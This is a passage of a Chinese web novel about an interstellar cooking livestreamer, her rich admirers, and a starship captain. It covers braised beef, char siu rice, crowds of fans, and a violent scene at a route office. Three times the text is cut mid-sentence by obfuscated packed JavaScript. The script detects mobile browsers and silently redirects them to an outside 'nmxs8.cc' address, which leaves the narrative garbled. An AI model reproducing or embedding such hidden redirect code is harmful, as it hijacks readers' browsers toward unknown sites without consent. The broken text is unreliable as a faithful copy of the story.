反正上层星系到下层星系的星际旅游前景和寒冬差不了多少，一年半载也遇不见一次航行，现如今这世道也真是奇怪。 先是莫名其妙来到第十二星系赖着不走的段恙，他对段恙耐心得过分，未必没有忌惮段协的原因，但这么些不知道打哪儿来的跨星系游客又是怎么回事？ 难不成在他不知道的时候，抢掠资源已经在上层星系和中层星系合法了？ 副官窥着他的神色，说了一句，“舰长，如果我们不履行的话，要赔偿的金额将非常巨大。” 看着副官口中非常巨大的金额，司空住沉默了。 “回第二星系。”良久之后，他说。 “那总部那边呢？” 司空住冷笑一声，“有人来问就把账单发过去，我不信有人舍得付钱。” 副官擦擦脑门上并不存在的冷汗，心里编了好几套说辞应付总部的那些人，总部大多人平日里清高得要命，鼻孔恨不得长在头上，从来看不起做强盗行径的荷鲁斯号。 但这帮少爷兵真没有能源供应了，又好意思腆着个脸过来空手要，能源一拿到手，立刻鼻子不是鼻子，眼睛不是眼睛，好像从来没向他们伸过手似的。 这次恐怕要把总部的那群人全部得罪光了，副官一边想，一边看懒懒散散坐着的司空住，这人似乎总没个正形。 其实说起来，司空住才是天梯头号少爷兵，家世几乎比现任天梯舰队指挥官段协的还要好，但他就是在永不出头的荷鲁斯号上做舰长，甘愿在无尽星海中漂流。 “我脸上有东西？”司空住忽然问。 副官连忙低下头，任劳任怨地给总部发起星讯来。 在副官的视线涉及不到的地方，司空住浏览起星网，看到段恙和他的笔名在星网上飘红，点进去扫视几眼，又提起了一点兴趣，把整件事的起因经过结果都粗略地看了一遍。 “好啊段恙，原来是你给我找了这么大麻烦。” 在干坏事上，司空住是绝不会觉得麻烦的，他整理好一封言辞优美的邮件，施施然地投递给了远在第四星系的段协，段协那个死弟控，就算段恙捅出再大的篓子，肯定也不会多说什么。 不过只要能给段协找点茬，别管大小，他都是一万个乐意的。 想来此时段恙也该到家了，司空住的脸色僵了僵，很不情愿地说，“帮我看一下歆姐在不在第二星系。” 得到了副官肯定的答复，司空住用手指绕了绕头发，似乎在思考要不要给好兄弟彻底地来一番落井下石，不过段协他还可以惹来玩玩，段歆么，还是算了。 15. 卤牛肉 第二星系，玄星。 玄星终年长夜，天色晦暗不明，少有亮色，大多数居民只有在特定的明光季才能看见黑色以外的天空。 段家从别的星系收集来各色天光，不计人力物力，横纵各三千六百条光线，再编织成一张细密的光网笼罩于顶。 若有生人靠近段家周围，且未通过预警系统的检测，就会立刻被光网灼伤至死。 段恙远远地看见自家的光网，今天闪烁着的是淡黄色的天光，这个颜色他不会认错，是第十二星系的。 其实和别人一样生活在黑暗之中也没什么不好，段恙想。 段家颇大，小时候他在家里还迷过几次路，司空住来他家里做客时说段家还活在几千年前，只顾着占地，甚至不考虑生活趣味，他那时听着生气，还和司空住大吵一架。 后来他发现司空住说得一点也没错。 手里拿着宋秋光送的几份礼物，他很珍惜地一路捧着回来，进了门，照旧是死一般的寂静。 他回来的不是时候，不过也没有是时候的时候，妈妈很忙，姐很忙，哥也很忙，只有他是这个家最大的闲人。 段恙准备找个地方把礼物放好，转过一个走廊，只见一个略显瘦削的身影站在栏杆边。 “哥，你怎么回来了？”段恙高兴地扑过去。 段协闪身躲开，“怎么，段小少爷不欢迎我回家？” “没错。”他随口应了一声，只见段协手心晃晃悠悠地升起三两朵云朵状的星团，立刻改了口。“欢迎欢迎，热烈欢迎。” 这种形状的星团只在非智慧生命体死亡后才有0.00001%的可能性产生，一般人活到头，两百年里也不见得能见到一只非智慧生命体，更不必说这星团在所有星团中也极其罕见了。 云朵状的星团似乎和其出生地分割了开来，从段协手上转到了段恙右手臂，最后在他的肩膀上暂时安了家。 “话说，哥你在家待多久？” “一个自然月。” 段恙本来被星团夺走了大半注意力，听到这话转过头震惊地看着他哥。 “没事儿，我看好你，天梯也不是什么好地方，”他说，“你想去哪个舰队就去哪个舰队。” 段协想起不久前司空住发来的邮件，心里一沉，面上的表情却没有丝毫变化，“去你的，我不过是休假。” “我长这么大就没见过你休这么长的假，”段恙十分笃定，天梯舰队除了他哥没一个好人，钟意姐也只能算半个。就算段协已经坐上了舰队指挥官的位置，天梯之上仍旧是天外天。 只是不知道段协是主动离职还是被解职，想来应该是被扫地出门的。拳头仿佛一记重锤，尽管已收了些力道，还是把段恙砸得眼前一黑。 “少胡思乱想，我是正经休假。”段协说，表示段恙要是再有什么想法，他不介意再来一拳。 段恙噤声，不过也只安静了片刻，他把手里一直没放下的东西献宝似的呈现在段协面前。 是他一路从第十二星系带回来的礼物，说是礼物，他想起宋秋光不是很情愿的样子，大概是他的错觉吧。 “这是什么？”段协皱眉，两包酱色的片状物，带着浓郁而奇怪的味道，一包是圆滚滚的有花纹的白色物品，看起来比前两包片状物讨喜一些，但不多。 段恙有了吃的忘了哥，一边介绍一边自然地打开包装吃起来，“这两包是卤牛肉，我从汪玉手底下抢来的，就差那么一点，这两包的主人就不是我了。” 宋秋光卤了很长时间，在卤汁的努力下，牛肉鲜美的肉质被最大限度地展现出来，既紧实又有嚼劲，过去了一段时间也丝毫不损它的滋味，反而更加入味。 段协原本对这种东西敬而远之，他是相当坚定的营养液派。 但是段恙开始吃卤牛肉的时候他在一边看着，段恙吃了半袋之后他还在旁边看着，段恙没完没了地吃完一袋之后他终于伸手阻止了段恙。 段恙了然，大方地把剩下的一袋卤牛肉递给段协。 段协闻到了一阵香味，初时觉得怪异，这香味太重、太浓、太香，不知道来自于什么，他勉强尝了一口，发觉香味几乎渗透进名为“卤牛肉”的食物里。 口感也很奇怪，他心想。 宋秋光给克里斯汀的顾客做了鲜肉包，见者有份，要价也很低，于是他只购得一袋，也不知道第十二星系的居民抢起东西来竟然这么疯狂。 段恙没有吃鲜肉包的打算，看到段协慢条斯理地吃着卤牛肉，他罪恶的手向着袋子缓缓伸出。 啪地一下，段恙捂着被打红的手背，开始眺望远方。 “嗯？”他忽然看见一道白色的身影，光网也正好在此刻转成了白色，仿佛是信徒突然朝见新神，深受感动，从此为她造就万世的殿堂。 “今天是个什么日子？”段恙说，“姐也回来了。” 段协一顿，把没吃完的卤牛肉收好，走到栏杆边，确认了段恙说的不是假话。 段歆尚未进门，只见三楼露台上有只手朝她挥舞，段恙去了第十二星系她是知道的，以他的性格，在那里待得久了一些。 段协却是“稀客”，比她回家的次数和时间还要少，大约这次是被老家伙们撵回来的，她微不可察地叹了口气。 等到她也上了三楼，段协一副往后躲的样子，更让她肯定了心中所想。 “姐，”段恙笑着说，“哥今天难得在家，要是母亲再回来，玄星的天都要从此变白昼了。” 段歆也有同感，她原本只是回来找星历，找到就得离开，不过此时却有了点奇妙的兴趣，干脆留了下来。 “这是什么？”段歆随口一问，只见段协以相当缓慢的速度从背后拿出小半袋卤牛肉。 不过她问的其实是段恙，他手里拎着一袋白色的东西，很珍惜的样子。 也不管她有没有在认真听，段恙热情地介绍起卤牛肉和鲜肉包，把制作这些食物的人夸得那是一个天上有地上无。 她一边想第三星系的那块地，一边敷衍地应着。 “不了。”尽管段恙露出了受伤的表情，可怜得像她光网刚建成时到处乱跑被烧死的小狗，段歆还是拒绝了。 她对它不感兴趣。 段歆回房间找星历，露台上只剩段恙和段协，趁着他不注意，段协悄悄地拿走了他从第十二星系带来的别的食物。 等到段恙终于发现他哥的恶劣行径，则为时已晚，他只能珍惜地护住飘来飘去不太老实的星团，安慰自己至少晚上还能看到宋秋光的直播。 “我吗？”宋秋光收到段恙的星讯，看了一眼时间，在地球时她找不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309532|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作，总觉得天要塌了，但也没有告诉她，找到工作天也会塌。 身兼四份工作，宋秋光完全丧失了个人时间，根本没办法生活。 比如今天，早上六点半她就要醒来，系统不肯放过折磨她的机会，只要她没有准时醒来，就会被系统不知打哪儿弄来的锣震醒，那余韵足足可以持续一整天。 早上七点半她开始正式工作，把克里斯汀里里外外打扫干净，时间来到九点，汪玉带来采买的新鲜食材，收拾好后，她和汪玉一起计算前一天的成本和纯利。 十点半之后陆陆续续顾客进店，一直到下午一点半，这段时间里她要冒充厨房小精灵，暗戳戳地收拾碗筷，因为太累，段恙走了之后，她把做饭的时间改在了下午，生意居然也很不错，顾客捧场得不得了。 汪玉一开始还不太高兴，她抢不过那些眼疾手快的顾客，宋秋光悄摸留好她的份，神秘而不失优雅地递到她面前，汪玉立刻换了笑颜，帮忙打起下手。 忙到下午五六点钟，关于克里斯汀，她的工作都结束了，等到了晚上八九点，她就要上“蜘蛛”直播，这一播起步就是两三个小时，这一套流程下来，铁打的人也撑不住。 所以她特地带上了超进化版卤牛肉来找克里斯汀，经过了好几次尝试，她终于做出了更适合星际居民口味的卤牛肉，此处郑重感谢对失败的卤牛肉也不离不弃的汪玉女士。 因为是做给克里斯汀的，考虑到老人牙口不太好，她特意多炖了一些时间，吃起来软烂入味，不干不柴。 克里斯汀的目光一直没从她手上移开过，等到她说明了来意，克里斯汀大笑两声，伸手接过卤牛肉，“亲爱的，我还以为你是太缺钱了才不得不做这么多份工作。” “你永远有不想做的自由。”她俏皮地眨眨眼。 宋秋光不打算辞去克里斯汀的所有工作，毕竟她来到陌生的第十二星系时，是克里斯汀收留了她，这份好意她还要偿还很久很久。 但过于消耗人的保洁和会计这两份工作她是不打算再做的，钱少事又多，堪称一绝。 辞掉了两份工作，宋秋光一身轻松，想到晚上的直播也不觉得完蛋了，她把最后一天的保洁工作做完，正潇洒地把抹布投进框里，克里斯汀的门开了。 她恍惚觉得这个情景很眼熟，来人是位长相清丽的女孩，气质脱俗如百合花。 说起来也挺让人生气的，星际的老老小小怎么就没有一个丑人？个个放在2031年的地球上都可以当场出道，狂揽无数粉丝。 破系统怎么就不考虑下她的心情？真是个没良心的。 【哦哟哟，冤枉统你是有一套的哈，我们系统眼里你们都长一个样好伐？】 “主播……”女孩突然出声，“我终于见到活的你了呜呜呜。” 在收获了宋秋光三分怀疑三分不可置信四分震惊的眼神之后，她更伤心了，“我是‘今天也要炸老板’啊，你不是给了我地址吗？” 宋秋光轻咳一声，她是给了炸老板地址，还热情地邀请她来第十二星系，但没有想到她会真的来。 “就是这地方没错，你们都过来吧。” 大约是宋秋光疑惑得过于明显，安解释道，“我们搭同一艘星舰来的，马上过来的就得有两三百人吧。” 她瞬间心如死灰。 16. 远道而来 【噔噔噔～第三个任务发布啦，请宿主在三十个自然日内打好厨艺基本功，总体达到系统认定的初级水准即可，宿主走的每一步路，都是在为厨神之路添砖加瓦。】 看着新出现的任务进度条，初级水准是刻度为六十的那条线，而她目前停留在二十，宋秋光很难不怀疑系统实际上是真人批皮，这么嘴碎的系统不是人扮演的将很难收场。 【又怀疑我是吧？我就知道当初救你真是救错人了，我怎么这么命苦啊。】 自动过滤掉系统很没营养的话，宋秋光头疼地看向安，且不说安从第三星系远道而来，又是她的第一位直播间观众，于情于理她都该好好招待，但她马上要面对两三百位热情的顾客，实在是提不起精神来。 她开动了一下许久不用的脑筋，学系统从地球上借鉴来了盒饭自助的模式，先做好一定数量的菜肴，顾客想吃什么就自己打，时间紧迫，她准备先做自己最熟悉的几道菜。 不知为何，这种时候宋秋光第一个想起来的是学校食堂的饭菜，2031年的她，读了十六年的书，从初一开始就住校，再然后是高中和大学，她并不算漫长的生命里，学校占据了很大一部分。 学校食堂的菜色很是固定，初高中还好，她把不多的精力全放在学习上，对吃什么毫不在意。有一个学期，她从二楼的食堂第一个窗口开始吃，连着吃两个星期，然后第三个星期从第二个窗口开始吃，一直到把二楼所有的窗口吃完。 后来她把这件事情当做笑话和大学舍友讲，她们那时候还不太熟，几个人突然轮流请她吃饭，过了很久她才反应过来，舍友们以为她家没钱，是穷得吃不起饭。 到了大学，这样的生活就忽然令人难以忍受了，宋秋光更受不了的是，学校食堂为数不多的可以称得上是好吃的窗口，一个学期过去了，她再去吃，已物是人非，换了新菜色，换的新菜色通常还难吃得令她也皱起眉头。 虽然给千里迢迢来第十二星系的顾客吃食堂菜色不太好，但她的厨艺委实有限，一时也想不出更好的办法。 当然最重要的是，虽然是她吃腻了的饭菜，但想来星际的居民不这么觉得，大多数来自于2031年的食物对她们来说都是新鲜的。 安是到的最早的一个，和宋秋光联系也最多，还没有到克里斯汀的人中其实有一多半是看了段恙的书，被他的描写和夸赞馋过来的。 反倒是直播间观众因为天天能看到她的直播，从别的星系过来一趟也很麻烦，所以来得并不多，过来的人里，手速太慢抢不到靠前的品尝模式顺序的又占了一多半。 安在克里斯汀里坐下，看着宋秋光忙里忙外，从前隔着遥远星系才能见到的人和吃到的美味食物，现在她伸手就可以触碰到。 空气中弥漫着好闻的辣椒味，引得她口舌生津，眼看着宋秋光做完了一道就继续下一道，意图把摆在桌子上整整齐齐的瓷碗、碟子和夸张尺寸的盛器全部填满。 安其实想要告诉她，现在并不是星际法律规定假日，她能来还是靠和埃洛文实验室谈成的那笔生意，加之她要是没看错的话，荷鲁斯号星舰只停留上层星系中的第二和第三星系。 但是看着宋秋光抄起勺子和锅铲，挥舞得很高兴的样子，大概很想看到那么多顾客，安怕太打击她的信心，于是没有说出口，转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315048|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了克里斯汀，去三号渡口接人。 宋秋光看着渐渐增多的菜肴，摆在桌面上，红红绿绿的看起来很有食欲，虽说家常得过分，以至于和食堂的菜色毫无区别，但她已经尽了最大的努力，实在做不到更好了。 把豆角细细地切成丁，她准备做一道肉沫豆角，豆角在星际并不常见，但总算没有被淘汰，滋味也较她记忆里的好了不少。 锅中放少量油，把切好的野葱、蒜米和小米椒倒进锅中，然后下入切好的豆角，等到开大火把豆角炒熟之后，再把肉沫放进去一起炒，调好味，一道色香味俱全的肉沫豆角就出锅了。 时间紧任务重，她尝了一口豆角，脆嫩鲜香，和米饭搭配起来保准是一绝，要是大学食堂里师傅的手艺能到这程度，她就是天天吃也愿意。 然后是几乎每个华夏人都会做的西红柿炒鸡蛋，不出意外，她学会的第一道菜也是这道菜，她于吃饭上不太讲究，吃得饱就行，还是毕业之后找不到工作，才想着自己做饭。 她也记不清自己是看的哪个菜谱，只是学会了之后一直保持着那道菜谱的习惯，西红柿顶部切一个十字，锅里烧开水，把西红柿放进去烫，西红柿外面那层皮很容易就剥下来了。 去了皮的西红柿先切成片，再切成小块，锅中油热，倒进西红柿，最初它还能保持原有的形状，很快就变得零零碎碎不成样子，最后加入提前炒好的鸡蛋，撒上一把漂亮的野葱花，简单而又美味。 西红柿的酸甜搭配略咸的鸡蛋，她喜欢炒得很嫩的鸡蛋，一开始要是炒得正好，最后再下锅和西红柿一起炒就会太老了，倒也不是不能吃，但总是失了两分滋味。 17. 叉烧饭 “直播真是赚钱啊。”汪玉没头没尾地来了一句，宋秋光听得摸不着头脑，不知道她这话是什么意思。 汪玉捏了捏自己的耳垂，那里是一只十字星形状的耳环。 汪玉知道宋秋光是一个很奇怪的人，她从第七星系来到第十二星系，却显得对所有知识都一无所知，哪怕是出身于被非智慧生命体占领的星球，有些东西她也应该知道。 第十二星系是所有主星系中最弱小的星系，没有之一。 上层星系把植被覆盖率统统扔到这里来，暗地里又转移来违反星际法的高污染型企业，甚至操控她们的发展速度，中层星系和她们有一些贸易往来，但也把控地非常严格。 她在克里斯汀已经打了十几年零工，日常还帮家里的小型工坊做事，即使是这样，第十二星系居民出行必备的飞行器，她也只有这么一架。 而宋秋光手里的显然是上层星系和中层星系独有的储物器，倒不是上面的两个星系不愿意卖，是它要价太昂贵，一个最最普通的储物器，仅能容纳一立方米的东西，就要六千个星币，几乎是她在克里斯汀辛苦工作两个月的薪资。 虽然不知道宋秋光为什么要把做好的菜收进储物器里，这无疑是暴殄天物，但她没有什么立场多说。 安带来了最后一波客人，她几乎跑遍了第十二个星系的主要渡口，累得直不起身，把顾客暂时交给汪玉，宋秋光带着安上了二楼。 桌上摆放着一个玻璃壶，壶边围绕着四只杯子，安走近了些，看清楚壶外挂着的晶莹水珠，以及壶中浅桔色的液体，宋秋光急着下楼，临走时给她倒了一杯。 白糖、冰糖和水以一比一比二的比例混合倒入锅中，开大火把白糖和冰糖熬化进水中，就成了糖浆，被熬煮出细密的小泡，糖浆又呈现出分外浓稠甜蜜的颜色。 系统不是每次都肯赞助水果，宋秋光跑了两次市场，终于找到了合适的“柠檬”。 星际的“柠檬”当然不叫柠檬，长相也大相径庭，叫做红野，活像是个mini版的榴莲，好在红野的刺是不扎人的，反而有点软软的，压下去还会弹回来。 红野整个果实都可以吃，成熟的时候是近似霞光的颜色，浸泡在甜蜜的水中，不仅去除了红野本身的苦涩，突出了它的酸。切成片之后，也让人难以辨认出它原来的长相，更好接受。 安小口小口地喝着，她很有兴致地把玻璃壶并玻璃杯拍了个遍，又写了一大串真情实感的话发在星网上。 看到第一个回复她的是段恙时，安的脸不自觉地黑了，她竟然忘了把段恙屏蔽，听说他滚回了第二星系，可不能再让他过来。 段恙看着安一直在回复别人的疑问，她很有耐心，就差把自己花了多少星币，怎么到的第十二星系都说出来了，唯独不回复他的消息。 他想问一下宋秋光今天什么时候直播，等了半天，盼星星盼月亮，也没等来她的回复。在星网上看到安，那只玻璃壶一看就是宋秋光用的那只，他牙都要咬碎了。 但是段协不让他再去第十二星系，考虑到他哥的武力值目前难以撼动，段恙没骨气地待在了家中。 说是家，其实他不怎么在这里待，段歆比他和段协年长十九岁，回家的日子屈指可数，他小时候有一段很长的时间，以为自己只有一个同胞兄弟。 因为段歆不常回家，回了家也只是很冷地喊他的名字，“段恙，你怎么把段协的星舰模型弄坏了？” 段歆从小生得出色，气质却冷冰冰的，个头还没有桌子高的段恙怕极了她，一看见他就把小小的身子缩起来，脸皱得像团抹布。 看见他这样，段歆却来了兴趣，总是逗他，直到有一天，他和段协说，“为什么段歆总是在我们家里啊？” 段协很惊讶地转过头，“你是觉得我管她叫姐是出于礼貌吗？” 段恙一时语塞，很快他就自以为找到了破绽，“可是她管你叫段协，管我叫段恙，我看司空家不是这样的。” 段协的脸色微妙地变化了几遍，他当然知道段歆为什么这么称呼。 据说当年他和段恙出生的时候，段歆还在塞勒涅学院读书，回到家乍一看到两个皱巴巴的丑婴儿，被吓了一大跳，坚决不承认自己有两个眼睛肿得和鱼眼泡一样的弟弟。 她坚持不叫他和段恙弟弟，一直喊他们大名，至今如此。 段协始终没有告诉段恙这件事，本来叫了他一段时间弟弟，后来跟着段歆一起喊大名，段恙就彻底失去了弟弟的称呼。 再后来，段协去接手了父亲留下的天梯舰队，本就不热闹的段家彻底安静。 段恙受不了偌大的庄园里只有自己一个人，成年之后也搬出去了，改在第二星系最繁华、人流量最大的北区定居。 一晃过去了多少年，段家重新热闹了起来，主要原因还是段恙多了一个特别的爱好，他好像试图把宋秋光的直播间推荐给所有人。 段歆听了个开头就让他走了，他还准备再说两句，被他姐一个眼神治好了。 他消停了一段时间，但也没消停多久，转而盯上了段协，誓要把他哥带上正途（？）。 段协觉得好笑，但在家休养这么长的时间，对他来说也是头一遭，不再每天一睁眼就是非智慧生命体恶心的脸，看什么都觉得赏心悦目。 段恙努力尝试了十六次，段协终于举手投降，答应和他一起看宋秋光的直播。 今天她做的是叉烧饭，段协没有听说过，于是偏头问了下段恙，段恙忽然大声地读起评论，刻意避开段协不明所以的眼神，他擦了擦并不存在的汗。 其实，他也不知道叉烧饭是什么，但在这短短的几天中，宋秋光仿佛同他建立起一种牢固的信任，他相信她做的菜色就没有不好吃的。 做叉烧当然要选用梅花肉，下午系统吃可乐鸡翅吃高兴了，好不容易做了回人事，给了她分量充足的调料大礼包做报酬。宋秋光抱着调料大礼包，简直要喜极而泣。 在直播之前，她把调料大礼包打开来盘点了一下，绝大部分她是认识的，也有一部分一看就出自星际，最基础的盐、糖、生抽、老抽和胡椒粉等等很好辨认，光看外表分不出，尝一尝也就知道了。 宋秋光本来想的挺好，寻思系统不会太坑她，她还是太年轻。 尝一味形如葡萄的调料的时候，差点被这味调料炸死，她只是浅浅地咬了一口，就感觉有闪电突袭自己的口腔。 后来更是发现这不是她的感觉，是现实，这味带电的调味料硬把她的桌子炸出一个浅坑来。 她都不敢想，这味调料要是顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344828|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着人的咽喉和食道下去，经过胃，在身体里炸开会是怎样的一番光景。 嘟嘟囔囔地骂着系统，宋秋光把要做叉烧的调料择出来，放在一边，剩下的塞回调料大礼包里。 她把调料均匀地涂抹在梅花肉上，又放进些许蒜末和姜末，腌制片刻，花香酒淡淡的酒香传入段协的鼻中，他想到卤牛肉和鲜肉包的滋味，没忍住咽了咽口水。 好在段恙并没有注意到这一点，他只是看着宋秋光在厨房里忙碌。 分明是普通的厨房，长相普通的人，过时而落后的饮食方式，但为何这些元素聚集在一起，他却无法移开视线？ 段恙隐约觉得是出了什么差错，但很快把心底的疑惑甩了出去，专心看她做饭。 锅中倒油，宋秋光小火煎了煎肉，煎得差不多了，又倒入腌制时余下的料汁，继续煎了一会儿，大块的梅花肉被煎得金黄诱人，两面都有点焦黄。 煮好的叉烧冷透了切成片，再淋上一勺浓稠的料汁，每一片叉烧都泛着蜜色的光芒，简直让人不敢想象那味道会有多好吃。 宋秋光把叉烧肉放在一旁，准备继续做青菜和煎鸡蛋，她忽然记起上次炸肉坨子时观众的生猛行为，只好重复了下她还没有做好，至少等她把叉烧饭组装起来再开始吃。 看了一眼评论，大多是让她放宽心的，她们都是一等一的诚信守法星际好公民，怎么会骗她呢，宋秋光信以为真，便转过身烫起青菜。 烫好的青菜绿得春天，她打了一个鸡蛋。 说起来也不知道星际的鸡是吃什么长大的，鸡蛋个头非常大，煎出来几乎同盆一个尺寸，但有时候她又能从汪玉那里看到正常尺寸的、她记忆里的那种鸡蛋。 难不成星际同时养着两种鸡，一种巨型鸡，一种小型鸡，巨型鸡的鸡蛋卖给喜欢吃巨型鸡蛋的人，小型鸡的鸡蛋卖给喜欢吃小型鸡蛋的人？ 宋秋光漫无目的地想着，手却没有停过，等到所有鸡蛋都被煎好，把装着煎蛋的大碗同青菜和叉烧肉摆在一起，她忽然觉得哪里不对。 她嘴角一抽，点开后台，发现在她刚开始烫青菜的时候，就有人偷偷开了品尝模式吃叉烧肉，等到她烫完青菜，又有一波人开品尝模式吃烫好的青菜，等到她煎好了鸡蛋，叉烧和青菜已经被吃得差不多了。 她还是有点太好骗了，不过反正品尝模式是按次收费的，这分成到她手里也只剩下十个星币。 吃一次叉烧肉要付一次钱，吃一次青菜要付一次钱，单吃鸡蛋当然也一样，她就随这帮冤大头去了。 观众里也有人反应了过来，在自家房间里发出一声怪叫。 明明等主播做好，算是一整道菜，就只用开一次品尝模式，现在这样单个单个地吃不知道白花了多少冤枉钱，除了开发品尝模式的公司以外，谁能开心？ 还好没有人单单为了米饭开品尝模式，不然那真是有地没处哭。 宋秋光还没吃饭，把几样做好的食材组合起来，就躲到一边吃预先留的一份叉烧饭。 叉烧鲜嫩多汁，肥而不腻，酱汁经过了漫长的沸腾，把每一口叉烧肉都变得香甜浓郁，再和松软的米饭拌在一起，带来了咸甜交织的独特口感，加之清爽的青菜和煎蛋，口感丰富得不行。 宋秋光吃得心满意足。 18. 转变 第五星系，斯坦星。 看着毫无减退之势，数量反而越来越多的订票信息，司空住的脸色同斯坦星青色的天光一样阴沉。 他皱了眉头，副官统计了所有平台的数量，递到了他手边。 如果真的在上层星系、中层星系和下层星系之间干起星际旅游的生意，倒是能赚到不少星币，但他们又不是真正的星际旅游团，婆娑星的能源才是第一要紧事。 司空住当然也清楚这一点，但荷鲁斯号星舰只有一个，把下了订单的乘客送到那该死的第十二星系上，已经占据了他们所有的时间。连他这个舰长也不得不负起责任，每到一个渡口，都要不厌其烦地核对上舰的乘客信息。 眼看副官忙得连喝营养液的时间都没有，他实在心烦意乱，把所有事情都丢给了尤金，尤金是个老实孩子，跟着他七八年，还是从来不懂得拒绝，兼之他也忙得很，顾不上舰长大人又发什么疯。 尤金把新鲜出炉的航行路线抓起来，准备交给副官，一抬头，发现舰长不见了，这倒很正常，司空住随心所欲极了，好像荷鲁斯号的舰长不是他一样。 但是副官的位置上也空了出来，尤金只感觉一阵天旋地转，晕过去前好像听到了周围同僚的惊呼，趁着自己还有一点意识，痛痛快快地骂了两句舰长。 对于把所有事扔给尤金，司空住没觉得丝毫愧疚，他把副官从雪崩一般的事务中解救出来，也只是因为他不想自己开星艇。 星艇只是星舰上配备的二类救生舱，功能性很差，同星舰比，一个天上一个地下，但足以进行星际跃迁，是这趟逃跑之旅的最佳选择。 副官一脸茫然，仿佛还陷在无穷无尽的订单信息和红色投诉之中，过了许久，直到司空住也不耐烦起来，他才终于缓过神来。 “去婆娑星。”眼见副官没有多问，自觉地驾驶起星艇，司空住颇为满意地坐下，但因为沙发传来陌生的触感，他刚刚上扬的嘴角又下去了一点。 司空住久违地拿出智脑开始处理公务，给段协的邮件没有一点回音，想来他应该是看到了。 不过副官后来才告诉他，段协已经于上周日开始休假，为期一个自然月。 要么是段协在和非智慧生命体的战役里受了伤，严重到那帮早该死了的老头子都不得不给他放假，要么是段协在另一个战场上斗争失败，准备提前退役，不过无论是哪种，对他来说影响都不大。 但这两种情况，对段家的影响可就大了，想到段恙迟早有一天会知道这件事，他忍不住有点幸灾乐祸起来。 司空住的笑容还没有维持半秒钟，星艇尾部忽然被猛烈地撞击了一下，好在这艘星艇来自于他的自掏腰包，不是天梯舰队本部的那些货色，因此很快地稳住了身形。 智脑麻溜儿地脱离了他的手臂，在星艇内部的空中翻滚了几圈，最后找到了目标，狠狠地砸碎了一块黑色的仪表盘，智脑本体也没躲过四分五裂的命运，碎了一地。 副官用不着转头就能想象出司空住的脸色，他忙不迭地从脑海里搜索关于这片星海的回忆，控制系统上显示的同他记忆里的一样，二十光年外坐落着一处星海航路管理局的分局。 他改完目的地，才敢回头看司空住，同时心里默默地为那艘不要命的星舰叹了口气。 星海航路管理局，斯坦分局。 李后天约好了和人星际漫步，这是一种时兴的运动方式，一次星际漫步，需要整整两个自然时和两百个星币，因着花费的时间和高昂的价格，在第五星系，倘若有人敢表示对星际漫步不感兴趣，准要被狠狠地嘲笑一番老土。 “李，有人投诉。”坐在李旁边的人和说了他一句，打断了他的思绪，李皱了皱眉，这人是他带的徒弟，高高胖胖的一个，脑子却很堪忧，星际居民的智商普遍已达到二百有余，他疑心这个徒弟的脑容量还没有核桃大小。 李兴致缺缺地接起星讯，来人还在十光年之外，听他说是哪艘星舰撞到了他们星艇的尾部，“程度不严重吧？” “目前来看不影响行驶，但不能排除有破损和能源泄露的情况存在。”星讯那边的人还要说什么，李不耐烦地打断了他。 “那就是不严重，星舰标识保存了吗？”星舰标识是每一艘正规星际乘具都要具备的东西，航路管理局以此来调查星海中的航行情况。 在得到了又一个否定的答案之后，李懒得再听他说下去，想来能在第五星系星海开着星艇的能是什么大人物，二十光年这么短的距离居然到现在还没到斯坦分局，不知道是从哪个穷乡僻壤里冒出来的土老帽。 李不停地打断着星讯那边的人，暗示那人多一事不如少一事，谁知道那人是个死心眼，根本读不懂他的深意。 “你的名字？”星讯对面忽然换了一个人，那个人的声音如同一块死了八万年的冰，冻得他浑身一哆嗦，他情不自禁地吐出了一个李字。但是就在他要说出自己的名字的时候，他咬住了自己的舌头，剩余的两个音节没有能他的嘴里吐出去。 李的徒弟还在旁边吵吵闹闹的，李听了心烦，“我去上厕所，一会儿有人来你先接待。” 李的徒弟傻愣愣地点了点头，目送着他师傅脸色苍白地躲进了卫生间。 不多时，李的徒弟听见走廊里响起脚步声，一个重，一个轻，应该就是李说的人，他提前站起来等着。 来人没有选择好好推开门，他想，再然后，他忽然感觉自己的肚子有点疼，低头看去，血液好像不要钱一样争前恐后地离开他的身体。 他听到有人说，“不是这个蠢货，去找。” 他才不是蠢货呢，师傅也经常这么喊他，他想反驳，意识却渐渐涣散。 李躲进厕所已经二十分钟了，想来那两个土老帽必定被打发走了，他终于施施然地推开卫生间的门，往办公室走。 今天整栋楼都静得出奇，李咽了口唾沫，把配发的制式武器拿出来背在身后。 “是你。”一个幽灵一样的身影出现在李的眼前，看清了他手里什么也没有，李放下心来。 “我当然什么也没有带。”司空住微笑。 